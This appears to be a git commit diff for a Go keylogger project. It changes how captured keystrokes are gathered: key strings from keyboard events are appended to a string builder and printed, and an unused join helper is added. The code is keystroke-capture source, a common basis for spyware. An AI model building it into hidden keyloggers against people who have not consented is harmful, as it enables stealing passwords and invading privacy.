adding a return string

This commit is contained in:
Christopher Talib 2019-12-12 15:18:46 +01:00
parent 580350f08d
commit 2e88f8f060

23
main.go
View file

@ -112,14 +112,24 @@ func (k *KeyLogger) Close() error {
}
func output(input InputStream) {
res := []string{}
var res string
for {
if input.event.KeyString() != "" {
res = append(res, input.event.KeyString())
res += input.event.KeyString()
}
fmt.Println(res)
}
}
func join(strs ...string) string {
var sb strings.Builder
for _, str := range strs {
sb.WriteString(str)
}
return sb.String()
}
func main() {
fmt.Println("Your keyboard input will be here: ", getKeyboard())
// TODO
@ -134,18 +144,19 @@ func main() {
}
defer klog.Close()
events := klog.Read()
stream := InputStream{}
go output(stream)
// stream := InputStream{}
var b strings.Builder
for e := range events {
switch e.Type {
case utils.EvKey:
if e.KeyPress() {
stream.event = e
b.WriteString(e.KeyString())
}
break
default:
fmt.Println(b.String())
}
}